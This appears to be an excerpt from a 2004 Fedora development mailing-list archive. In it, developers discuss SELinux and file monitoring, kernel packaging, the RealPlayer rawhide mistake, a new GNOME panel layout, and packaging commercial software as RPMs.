away from FAM for security reasons. Giving all user processes access to a daemon running with read access to all files on disk is not something that we desire. Also doesn't dnotify etc take significant amounts of RAM when monitoring large numbers of files? > Moving out of user space, and requiring some of development, you > could have the kernel's VFS layer generate a notice, maybe via DBUS, > whenever a file changes. It'd be nice to be able to turn this on only This has some awkward possibilities. I can imagine DBUS changing a file, causing a notification which then makes DBUS change a file... -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Fri Oct 1 14:57:47 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 00:57:47 +1000 Subject: "Stateless Linux" project In-Reply-To: <414957DA.4070105@redhat.com> References: <1095100955.5481.14.camel@localhost.localdomain> <20040915114555.GD27854@devserv.devel.redhat.com> <414957DA.4070105@redhat.com> Message-ID: <200410020057.47831.russell@coker.com.au> On Thu, 16 Sep 2004 19:07, Harald Hoyer wrote: > Do you mean this? > Self-certifying File System http://www.fs.net/sfswww/ The web site is down at the moment. >From memory it was implemented locally as a NFS server. So the kernel thought of it as local NFS and the NFS server translated the requests to SFS. The problem with this is that NFS doesn't support XATTRs and therefore doesn't provide full functionality on SE Linux. No matter how we use SFS we still need XATTRs for SE Linux support, and I guess it doesn't have them yet. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Fri Oct 1 14:58:36 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 00:58:36 +1000 Subject: "Stateless Linux" project In-Reply-To: <1095100955.5481.14.camel@localhost.localdomain> References: <1095100955.5481.14.camel@localhost.localdomain> Message-ID: <200410020058.36502.russell@coker.com.au> On Tue, 14 Sep 2004 04:42, Havoc Pennington wrote: > Red Hat engineering is starting a new project we're calling > "stateless Linux" for lack of a better name - some components of this One thing that needs to be done early on is to extend rsync to support copying XATTRs so it can set the SE Linux context on the files. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From mandreiana at rdslink.ro Fri Oct 1 15:02:32 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Fri, 01 Oct 2004 18:02:32 +0300 Subject: rawhide report: 20041001 changes In-Reply-To: <1096639184.18430.10.camel@greebo.homeip.net> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096639184.18430.10.camel@greebo.homeip.net> Message-ID: <1096642952.4157.53.camel@marte.biciclete.ro> > On Fri, 2004-10-01 at 14:38 +0200, Kyrre Ness Sjobak wrote: > > RealPlayer too? What's happened? I thougt RP was considered "evil" > > because of properitary formats? > > > > Does this mean that mp3 and rp streams will work out-of-the-box on fc3? The SRPM http://download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/RealPlayer-10-5.src.rpm has REAL10Player-GOLD-source :-D To slashdot or not to slashdot? -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From veillard at redhat.com Fri Oct 1 15:22:22 2004 From: veillard at redhat.com (Daniel Veillard) Date: Fri, 1 Oct 2004 11:22:22 -0400 Subject: "Stateless Linux" project In-Reply-To: <200410020055.35819.russell@coker.com.au> References: <200409151443.i8FEhwp07789@ayesha.phys.Virginia.EDU> <200410020055.35819.russell@coker.com.au> Message-ID: <20041001152222.GJ29015@redhat.com> On Sat, Oct 02, 2004 at 12:55:35AM +1000, Russell Coker wrote: > On Thu, 16 Sep 2004 00:43, "Bryan K. Wright" > wrote: > > Another possible user-space option would be something based on SGI::FAM. > > We are moving away from FAM for security reasons. Giving all user processes > access to a daemon running with read access to all files on disk is not > something that we desire. > > Also doesn't dnotify etc take significant amounts of RAM when monitoring large > numbers of files? The problem is rather that it requires to open all the directories containing said file and keep them open until monitoring is not needed anymore. Inotify kernel support should fix this. Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From shiva at sewingwitch.com Fri Oct 1 15:28:49 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Fri, 01 Oct 2004 08:28:49 -0700 Subject: subversion-1.1 released In-Reply-To: <20041001123443.GA7170@redhat.com> References: <604aa791041001051110468310@mail.gmail.com> <20041001123443.GA7170@redhat.com> Message-ID: --On Friday, October 01, 2004 1:34 PM +0100 Joe Orton wrote: > 1.0 -> 1.1 is a minor version upgrade not a major version upgrade. If I > can fix the remaining build issues today I'd like to get 1.1.0 in FC3t3. What are the outstanding build issues? Are there things in the RH spec file that should be pushed upstream? From alan at redhat.com Fri Oct 1 15:34:52 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 11:34:52 -0400 Subject: FC2 kernel quality In-Reply-To: <1096634439.2693.197.camel@kyrre> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <20041001121009.GD6590@devserv.devel.redhat.com> <1096634439.2693.197.camel@kyrre> Message-ID: <20041001153452.GA4174@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 02:40:40PM +0200, Kyrre Ness Sjobak wrote: > btw. will the 2.6.9 kernel make it into FC3? 2.6.9 is not out yet and my crystal ball is offline 8) From lowen at pari.edu Fri Oct 1 15:43:15 2004 From: lowen at pari.edu (Lamar Owen) Date: Fri, 1 Oct 2004 11:43:15 -0400 Subject: FC2 kernel quality In-Reply-To: <1096585392.21972.138.camel@jonspc> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930213923.GT5537@angus.ind.WPI.EDU> <1096585392.21972.138.camel@jonspc> Message-ID: <200410011143.15617.lowen@pari.edu> On Thursday 30 September 2004 19:03, Jonathan Andrews wrote: > On Thu, 2004-09-30 at 22:39, Charles R. Anderson wrote: > > On Thu, Sep 30, 2004 at 09:15:43PM +0100, Jonathan Andrews wrote: > > To build any Redhat package you need to understand rpm. Why should > > the kernel be any different? > Because every other package can be built from source and still work on > Redhat.... Not necessarily. Try glibc or rpm or db4 or a few other core packages. In an rpm distro, it is usually best to use rpm to build software and install software so that the dependency system has a fighting chance to keep everything straight. You want from source? Go to Gentoo. Even there you don't just download a tarball, .configure;make;make install. You use their portage system (emerge) to do it. What's the difference between 'rpmbuild --rebuild some-package.src.rpm;rpm -Uvh somepackage-built.arch.rpm' and the others? Just another set of command; but the rpm system that the distribution is built upon (and that up2date, yum, and apt depend upon) needs to know what you have installed for other package installations, otherwise you end up with real problems that synaptic or yumi can't hope to deal with. The kernel is just another package in this scheme, and you very well could have dependencies on the kernel version that break in the presence of your custom kernel. There are very few reasons for a custom kerne anymore; the ones I still know about are hardware driver ones; the modular Red Hat 2.6 kernel is very very close to the kernel.org modular kernel; there is no 'fork' in the 2.6.x series like there was in the 2.4.x series. > Up until today that what I always did, most of my Redhat 9 boxes have > kernel.org kernels ... and run fine ? Makes me wonder why Redhat fork > the kernel - but thats an argument I cant hope to win so I will shut up > now ! Name a distribution that uses a vanilla kernel.org kernel with no distribution-specific patches. You'll be hard-pressed to find even one; most if not all distributions have, in your words, 'forked' the kernel. SuSE as of the last time I looked had more patches than Red Hat does. At least with 2.6.x as used in FC2 and FC3T. The Red Hat kernel is more stable than the vanilla one under load (which the last time I checked (which has been a while) was generated by a cerberus configuration; the vanilla kernel can't stand the load the RH one does, at least at that time). Otherwise Red Hat would use the vanilla kernel, since it takes developer resources to patch a kernel; you don't just patch because 'I want a different kernel!' > As for rpm > [root at jonspc root]# man rpm |wc > 831 3325 40895 > 3,325 words, most starting with - or -- That doesn't include rpmbuild, > or any reference what to do when it locks itself ! No wonder linux is > described as to complex ! That's much smaller than the docs on how to build a custom kernel, which you seem to have not had a problem doing. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From katzj at redhat.com Fri Oct 1 15:52:21 2004 From: katzj at redhat.com (Jeremy Katz) Date: Fri, 01 Oct 2004 11:52:21 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <1096642952.4157.53.camel@marte.biciclete.ro> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096639184.18430.10.camel@greebo.homeip.net> <1096642952.4157.53.camel@marte.biciclete.ro> Message-ID: <1096645941.27073.1.camel@bree.local.net> On Fri, 2004-10-01 at 18:02 +0300, Marius Andreiana wrote: > > On Fri, 2004-10-01 at 14:38 +0200, Kyrre Ness Sjobak wrote: > > > RealPlayer too? What's happened? I thougt RP was considered "evil" > > > because of properitary formats? > > > > > > Does this mean that mp3 and rp streams will work out-of-the-box on fc3? > The SRPM > http://download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/RealPlayer-10-5.src.rpm > has REAL10Player-GOLD-source :-D > > To slashdot or not to slashdot? Be sure to include the source links for RealPlayer 10.0.1 Gold at https://player.helixcommunity.org/2004/downloads/ as well :-) Jeremy From harald at redhat.com Fri Oct 1 15:53:30 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 17:53:30 +0200 Subject: more cdrom symlinks Message-ID: <415D7D7A.1000603@redhat.com> what about this script and udev rules to get more cdrom symlinks? $ ll /dev/cd* /dev/dvd* lrwxrwxrwx 1 root root 3 1. Okt 16:18 /dev/cdrom -> hdc lrwxrwxrwx 1 root root 4 1. Okt 17:52 /dev/cdrom1 -> scd0 lrwxrwxrwx 1 root root 3 1. Okt 16:18 /dev/cdwriter -> hdc lrwxrwxrwx 1 root root 4 1. Okt 17:52 /dev/cdwriter1 -> scd0 lrwxrwxrwx 1 root root 3 1. Okt 16:18 /dev/dvd -> hdc lrwxrwxrwx 1 root root 3 1. Okt 16:18 /dev/dvdwriter -> hdc -------------- next part -------------- A non-text attachment was scrubbed... Name: test-cdrom.sh Type: application/x-sh Size: 596 bytes Desc: not available URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: 10-udev.rules URL: From lowen at pari.edu Fri Oct 1 15:57:23 2004 From: lowen at pari.edu (Lamar Owen) Date: Fri, 1 Oct 2004 11:57:23 -0400 Subject: FC2 kernel quality In-Reply-To: <415C8698.3070604@mail.telepac.pt> References: <1096581368.21981.135.camel@scox.glenatl.glenayre.com> <415C8698.3070604@mail.telepac.pt> Message-ID: <200410011157.24249.lowen@pari.edu> On Thursday 30 September 2004 18:20, Carlos Rodrigues wrote: > Also that "not supported" thing is crap. Binary modules are a fact of > life and some care ("some" meaning "break it if you have to, but avoid > it if you can") must be taken so that users can use them. Only if you need 3D acceleration do you need the closed source nvidia drivers to use nvidia cards. The nv driver does work fairly well, even if it isn't the ultimate in performance. The Linux kernel developers have made the decision to not support binary modules. It's not a Red Hat decision. The developers can't be expected to help debug a problem with a module for which they don't have source, nor can they be expected to debug a problem in a kernel which has a binary-only module loaded, since they can't really be sure the binary module isn't the source of the problem. So, when the word 'supported' is used in relation to binary modules, it's not that they can't be used it's just that if you choose to use them then you need to go to the supplier of the module for support. I personally do use the nvidia driver (courtesy of ATrpms) on my personal box at home, but I understand the risks of doing so. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From notting at redhat.com Fri Oct 1 16:54:36 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 1 Oct 2004 12:54:36 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <1096634711.31019.2.camel@d3vi1.linux360.ro> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <20041001143629.6c68a601@localhost> <1096634711.31019.2.camel@d3vi1.linux360.ro> Message-ID: <20041001165436.GC24541@nostromo.devel.redhat.com> Razvan Corneliu C.R. d3vi1 VILT (razvan.vilt at linux360.ro) said: > > > New package RealPlayer > > > Media player from RealNetworks based on Helix > > > > Errr... has it become free!? No, this is Oct 1st, not April 1st, so that > > can't be it... > > > > Hmm... someone added-it to the wrong branch of the build system. I'm > pretty sure it wasn't supposed to land in rawhide. Correct, it's being cleaned up. Bill From notting at redhat.com Fri Oct 1 17:11:16 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 1 Oct 2004 13:11:16 -0400 Subject: udev and alsa In-Reply-To: <415D1CDD.2000603@redhat.com> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> Message-ID: <20041001171116.GA24897@nostromo.devel.redhat.com> Harald Hoyer (harald at redhat.com) said: > Don't know, if it really belongs to udev.. but here is an extended > script:#!/bin/sh Probably belongs to alsa-utils, actually (in that that's where the script should go.) Bill From bclark at redhat.com Fri Oct 1 17:32:05 2004 From: bclark at redhat.com (Bryan Clark) Date: Fri, 01 Oct 2004 13:32:05 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> Message-ID: <1096651926.4257.29.camel@rhbw.boston.redhat.com> > gnome-panel-2.8.0.1-2 > --------------------- > * Fri Oct 01 2004 Mark McLoughlin 2.8.0.1-1 > > - New panel layout from Bryan and Seth Hey ~ We've changed the default panel layout to adapt it more towards the default GNOME panel layout. This layout is a dual panel system, I have a screenshot [1] of the new layout which will explain it much faster than me trying to describe it. We realize that not everyone likes a dual panel layout and I'm not really interested in seeing a thread starting on how people hate dual panel layouts ;-) In the future I would like to work towards a system of 'canned configurations' which Havoc has talked about before, where we have pre-configured single and dual layout system which can be easily switched between. Let me explain it a little bit about the dual panel system before the flames start. The two panels take up the exact same amount of space in terms of pixels as the old style layout. The dual panel design is based off the GNOME design which has had quite a bit of thought put into it. With the panel occupying all the corners of the screen we can take full advantage of things like Fitts Law, where when you want to change the volume quickly you can throw your mouse up to the upper right hand corner of the screen without aiming and hit the volume applet. Likewise with the Applications and Show Desktop button. This also leave you more room to add your own launchers to the top panel, while gaining more room for the task bar at the bottom. Note: This does not effect the KDE panel layout This does not effect current panel configurations, only new accounts without panel configurations. -- To Test -- Unless you haven't changed your default panel configuration you'll probably want to test this on a "test user" and not your actual account since in the test you'll lose all your launcher/applet settings. Here are the simple instructions: log out of GNOME do 'gconftool-2 --recursive-unset /apps/panel' from console do 'gconftool-2 --shutdown' from the console for good measure log back in again File bugs in redhat bugzilla [2] under gnome-panel and put "default layout" somewhere in the Summary. I'd also appreciate if you'd cc me on any of these bugs. Thanks, ~ Bryan [1] http://people.redhat.com/bclark/screenshots/new_panel_layout.png [2] http://bugzilla.redhat.com/bugzilla/enter_bug.cgi?product=Fedora%20Core& From JoelOnLinux at perfect-flight.com Fri Oct 1 17:49:12 2004 From: JoelOnLinux at perfect-flight.com (Joel Rittvo) Date: Fri, 01 Oct 2004 13:49:12 -0400 Subject: rawhide report: 20041001 changes -- dbus issue In-Reply-To: <1096651926.4257.29.camel@rhbw.boston.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> Message-ID: <1096652953.5872.4.camel@localhost.localdomain> After this morning's updates . . . >From boot.log: Oct 1 13:35:33 LINUX readahead: Starting background readahead: Oct 1 13:35:33 LINUX rc: Starting readahead: succeeded Oct 1 13:35:35 LINUX dbus-daemon-1: Unknown username "root" in message bus configuration file Oct 1 13:35:35 LINUX messagebus: messagebus startup failed Oct 1 13:35:37 LINUX cups-config-daemon: Oct 1 13:35:37 LINUX cups-config-daemon: ** (process:4733): WARNING **: DbusConfigDaemon: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory Oct 1 13:35:37 LINUX cups-config-daemon: cups-config-daemon startup succeeded Oct 1 13:35:38 LINUX haldaemon: haldaemon startup succeeded Oct 1 13:35:43 LINUX rc: Starting webmin: succeeded Finishes booting and runs fine as far as I can tell. I don't have a printer set up yet -- maybe that has something to do with this? Joel Rittvo From tibbs at math.uh.edu Fri Oct 1 18:01:20 2004 From: tibbs at math.uh.edu (Jason L Tibbitts III) Date: Fri, 01 Oct 2004 13:01:20 -0500 Subject: RPM specfiles for commercial packages? Message-ID: Commercial software is an evil some of us have to live with and as long as I have no choice I figured I'd try and make it as painless as possible. So I've been packaging the various commercial software around into Fedora-friendly RPMs so that I can move away from an NFS or rsync-ed /usr/local. So far I've done Matlab R14sp1, Mathematica 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already an RPM but doing everything in a postinstall script is pretty nasty.) I doubt there up to proper Fedora standards but at least they work. Is anyone else doing this? Is there a place where we can exchange specfiles? - J< From jspaleta at gmail.com Fri Oct 1 18:03:26 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 1 Oct 2004 14:03:26 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <1096651926.4257.29.camel@rhbw.boston.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> Message-ID: <604aa7910410011103216c5a5f@mail.gmail.com> On Fri, 01 Oct 2004 13:32:05 -0400, Bryan Clark wrote: > We realize that not everyone likes a dual panel layout and I'm not > really interested in seeing a thread starting on how people hate dual > panel layouts ;-) What about a thread talking about how much i love the dual panel layout? > The dual panel design is based > off the GNOME design which has had quite a bit of thought put into it. > With the panel occupying all the corners of the screen we can take full > advantage of things like Fitts Law, where when you want to change the > volume quickly you can throw your mouse up to the upper right hand > corner of the screen without aiming and hit the volume applet. Have you seen/toyed with the brightside project? http://home.jesus.ox.ac.uk/~ecatmur/brightside/ I'm conflicted by the functionality and rationale behind the brightside project. In one breath brightside claims to be a way to add edge flipping functionality that breaks fitts law. Havoc is quoted on the brightside page as the standard bearing expert opinion that edge-flipping is a specifically dire evil and contrary to Fitts law. But aside from edge-flipping, the corner effects brightside implements seem to me to correspond well to what you are talking about and try to provide with the new panel applet layout. The idea of throwing you mouse into a corner without aiming to get something done, the way brightside allows for things like volume muting, is exactly the ideal your shooting for with the new panel layout. This isn't a sneaky call for brightside inclusion or anything like that, but after toying with it. I find brightsides implementation of 'throw the mouse in the corner' to mute the volume or to prevent the screensaver from coming on, or to start the screensaver interesting. -jef"always look on the brightside of life "spaleta From warren at togami.com Fri Oct 1 18:03:54 2004 From: warren at togami.com (Warren Togami) Date: Fri, 01 Oct 2004 08:03:54 -1000 Subject: RPM specfiles for commercial packages? In-Reply-To: References: Message-ID: <415D9C0A.9060403@togami.com> Jason L Tibbitts III wrote: > Commercial software is an evil some of us have to live with and as > long as I have no choice I figured I'd try and make it as painless as > possible. So I've been packaging the various commercial software > around into Fedora-friendly RPMs so that I can move away from an NFS > or rsync-ed /usr/local. So far I've done Matlab R14sp1, Mathematica > 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already > an RPM but doing everything in a postinstall script is pretty nasty.) > I doubt there up to proper Fedora standards but at least they work. > > Is anyone else doing this? Is there a place where we can exchange > specfiles? > > - J< > livna? From skvidal at phy.duke.edu Fri Oct 1 18:04:41 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 01 Oct 2004 14:04:41 -0400 Subject: RPM specfiles for commercial packages? In-Reply-To: References: Message-ID: <1096653881.26472.9.camel@opus.phy.duke.edu> On Fri, 2004-10-01 at 14:01, Jason L Tibbitts III wrote: > Commercial software is an evil some of us have to live with and as > long as I have no choice I figured I'd try and make it as painless as > possible. So I've been packaging the various commercial software > around into Fedora-friendly RPMs so that I can move away from an NFS > or rsync-ed /usr/local. So far I've done Matlab R14sp1, Mathematica > 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already > an RPM but doing everything in a postinstall script is pretty nasty.) > I doubt there up to proper Fedora standards but at least they work. > > Is anyone else doing this? Is there a place where we can exchange > specfiles? We have: mathematica matlab r13 and r14 maple nag and absoft fortran compilers among others. I don't think there is a place to exchange spec files, though there is nothing keeping you from posting yours or posting a .nosrc. rpm. -sv From russell at coker.com.au Fri Oct 1 18:05:28 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 04:05:28 +1000 Subject: /var/run/directory/ Message-ID: <200410020405.28189.russell@coker.com.au> I have been thinking about the /var/run directory under SE Linux. Currently in the strict policy every daemon is permitted to create files under /var/run. The problem is that a daemon which runs as root can (if compromised) create /var/run files with the names used by other daemons if the daemon is not running at the time. This interferes with stopping and starting daemons. The solution to this is to have a directory under /var/run for each daemon and give write access to that directory only to the daemon that uses it. For daemons that run as non-root this also makes things easier for non-SE systems as there is no need to create a pidfile such as /var/run/sm-client.pid and chown it, the directory can just have the permissions needed to allow file creation by the daemon. Can anyone think of a reason not to do this? Or should I just start filing bugzilla entries against all packages that have /var/run/daemon.pid files? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From jos at xos.nl Fri Oct 1 18:05:59 2004 From: jos at xos.nl (Jos Vos) Date: Fri, 1 Oct 2004 20:05:59 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: ; from tibbs@math.uh.edu on Fri, Oct 01, 2004 at 01:01:20PM -0500 References: Message-ID: <20041001200559.A21392@xos037.xos.nl> On Fri, Oct 01, 2004 at 01:01:20PM -0500, Jason L Tibbitts III wrote: > Is anyone else doing this? Is there a place where we can exchange > specfiles? Note that the right way for "exchanging" non-free software packages is to exchange nosrc.rpm files, not just spec files. -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From skvidal at phy.duke.edu Fri Oct 1 18:06:00 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 01 Oct 2004 14:06:00 -0400 Subject: RPM specfiles for commercial packages? In-Reply-To: <415D9C0A.9060403@togami.com> References: <415D9C0A.9060403@togami.com> Message-ID: <1096653960.26472.11.camel@opus.phy.duke.edu> On Fri, 2004-10-01 at 14:03, Warren Togami wrote: > Jason L Tibbitts III wrote: > > Commercial software is an evil some of us have to live with and as > > long as I have no choice I figured I'd try and make it as painless as > > possible. So I've been packaging the various commercial software > > around into Fedora-friendly RPMs so that I can move away from an NFS > > or rsync-ed /usr/local. So far I've done Matlab R14sp1, Mathematica > > 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already > > an RPM but doing everything in a postinstall script is pretty nasty.) > > I doubt there up to proper Fedora standards but at least they work. > > > > Is anyone else doing this? Is there a place where we can exchange > > specfiles? > > > > - J< > > > > livna? this really isn't like that. this isn't software that is only illegal to distribute in certain countries. Thie is software that is illegal to distribute ANYWHERE. -sv From icon at linux.duke.edu Fri Oct 1 18:12:48 2004 From: icon at linux.duke.edu (Konstantin Ryabitsev) Date: Fri, 01 Oct 2004 14:12:48 -0400 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001200559.A21392@xos037.xos.nl> References: <20041001200559.A21392@xos037.xos.nl> Message-ID: <1096654368.8858.4.camel@hagrid.phy.duke.edu> On Fri, 2004-10-01 at 20:05 +0200, Jos Vos wrote: > On Fri, Oct 01, 2004 at 01:01:20PM -0500, Jason L Tibbitts III wrote: > > > Is anyone else doing this? Is there a place where we can exchange > > specfiles? > > Note that the right way for "exchanging" non-free software packages > is to exchange nosrc.rpm files, not just spec files. Yeah, specfiles aren't all -- a lot of time there are patches and additional sources involved. I like how jpackage.org does .nosrc.rpm, so this can be similar. I have packaged lots of proprietary binary-only stuff, a lot of time while bleeding bile from my eyes, so if I could make this useful to others, I'm all for it. I'll investigate creating .nosrc.rpm files. Cheers, -- Konstantin ("Icon") Ryabitsev Duke University Physics Sysadmin -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 307 bytes Desc: This is a digitally signed message part URL: From alan at redhat.com Fri Oct 1 18:15:21 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 14:15:21 -0400 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001200559.A21392@xos037.xos.nl> References: <20041001200559.A21392@xos037.xos.nl> Message-ID: <20041001181521.GA8682@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 08:05:59PM +0200, Jos Vos wrote: > On Fri, Oct 01, 2004 at 01:01:20PM -0500, Jason L Tibbitts III wrote: > > Is anyone else doing this? Is there a place where we can exchange > > specfiles? > > Note that the right way for "exchanging" non-free software packages > is to exchange nosrc.rpm files, not just spec files. That assumes you have the right to redistribute the binary and are not just doing internal packaging. Windows/XP.nosrc.rpm will get me a rude letter and a visit from the boys with truncheons From Axel.Thimm at ATrpms.net Fri Oct 1 18:24:22 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 1 Oct 2004 20:24:22 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: <1096653881.26472.9.camel@opus.phy.duke.edu> References: <1096653881.26472.9.camel@opus.phy.duke.edu> Message-ID: <20041001182422.GC7453@neu.nirvana> On Fri, Oct 01, 2004 at 02:04:41PM -0400, seth vidal wrote: > On Fri, 2004-10-01 at 14:01, Jason L Tibbitts III wrote: > > Commercial software is an evil some of us have to live with and as > > long as I have no choice I figured I'd try and make it as painless as > > possible. So I've been packaging the various commercial software > > around into Fedora-friendly RPMs so that I can move away from an NFS > > or rsync-ed /usr/local. So far I've done Matlab R14sp1, Mathematica > > 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already > > an RPM but doing everything in a postinstall script is pretty nasty.) > > I doubt there up to proper Fedora standards but at least they work. > > > > Is anyone else doing this? Is there a place where we can exchange > > specfiles? > > We have: > mathematica > matlab r13 and r14 > maple > nag and absoft fortran compilers > > among others. > > I don't think there is a place to exchange spec files, though there is > nothing keeping you from posting yours or posting a .nosrc. rpm. ATrpms would *love* to host nosrc.rpm/specfiles for numerical/engineering packages! Get me those mathematica/matlab/maple and nag specfiles now! 8-) -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From rms at 1407.org Fri Oct 1 18:25:23 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Fri, 01 Oct 2004 19:25:23 +0100 Subject: RPM specfiles for commercial packages? In-Reply-To: References: Message-ID: <1096655123.3091.42.camel@roque> On Fri, 2004-10-01 at 13:01 -0500, Jason L Tibbitts III wrote: > Commercial software is an evil some of us have to live with and as Please, don't confuse commercial with proprietary. http://www.fsf.org/philosophy/words-to-avoid.html#Commercial Free Software can be just as commercial as proprietary software. All it takes is being used in a commercial context. I'm sorry for the waves, but this kind of mistakes propagate the FUD that Free Software can't be used for business. Thanks for your attention, Rui -- + No matter how much you do, you never do enough -- unknown + Whatever you do will be insignificant, | but it is very important that you do it -- Gandhi + So let's do it...? Please AVOID sending me WORD, EXCEL or POWERPOINT attachments. See http://www.fsf.org/philosophy/no-word-attachments.html -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From buildsys at redhat.com Fri Oct 1 18:24:46 2004 From: buildsys at redhat.com (Build System) Date: Fri, 1 Oct 2004 14:24:46 -0400 Subject: rawhide report: 20041001 changes Message-ID: <200410011824.i91IOkw15788@porkchop.devel.redhat.com> Removed package RealPlayer Updated Packages: autofs-4.1.3-22 --------------- * Fri Oct 01 2004 Jeff Moyer - 1:4.1.3-22 - Comment out map expiry (and related) patch for an FC3 build. * Thu Sep 23 2004 Jeff Moyer - 1:4.1.3-21 - Make local options apply to all maps in a multi-map entry. * Tue Sep 21 2004 Jeff Moyer - 1:4.1.3-20 - Merged my and Ian's socket leak fixes into one, smaller patch. Only partially addresses bz #128966. - Fix some more echo lines for internationalization. bz #77820 - Revert the only one auto.master patch until we implement the +auto_master syntax. Temporarily addresses bz #133055. glibc-2.3.3-62 -------------- * Fri Oct 01 2004 Jakub Jelinek 2.3.3-62 - update from CVS - fix NPTL pthread_mutex_timedwait on i386/x86_64 (BZ #417) gtk2-2.4.10-6 ------------- * Fri Oct 01 2004 Matthias Clasen - 2.4.10-6 - Fix a problem in the last patch. hal-0.2.98.cvs20040929-2 ------------------------ * Fri Oct 01 2004 John (J5) Palmieri 0.2.98.cvs20040929-2 - Use "user" mount flag for now until "pamconsole" flag gets into mount * Wed Sep 29 2004 David Zeuthen 0.2.98.cvs20040929-1 - Update to upstream CVS version - Enable libselinux again * Mon Sep 27 2004 David Zeuthen 0.2.98.cvs20040927-1 - Update to upstream CVS version hal-cups-utils-0.5.2-3 ---------------------- * Fri Oct 01 2004 John (J5) Palmieri - Fixed sighup to check for sbin instead of bin for cupsd pid check java-1.4.2-gcj-compat-1.4.2.0-7jpp ---------------------------------- * Thu Sep 30 2004 Thomas Fitzsimmons 0:1.4.2.0-7jpp - Bump release number. * Thu Sep 30 2004 Thomas Fitzsimmons 0:1.4.2.0-6jpp - Bump release number to test Makefile changes. * Thu Sep 30 2004 Gary Benson 0:1.4.2.0-5jpp - Make sure ecj.jar is in the classpath if javac is run directly. libgnomecups-0.1.12-3 --------------------- * Thu Sep 30 2004 Colin Walters 0.1.12-3 - Pass --with-dbus=yes to configure to be extra sure - Add libgnomecups-no-gnome-common.patch - autoreconf to pick up configure changes * Thu Sep 30 2004 Colin Walters 0.1.12-2 - Pass --with-dbus to configure - BuildRequire dbus-devel * Mon Sep 13 2004 Colin 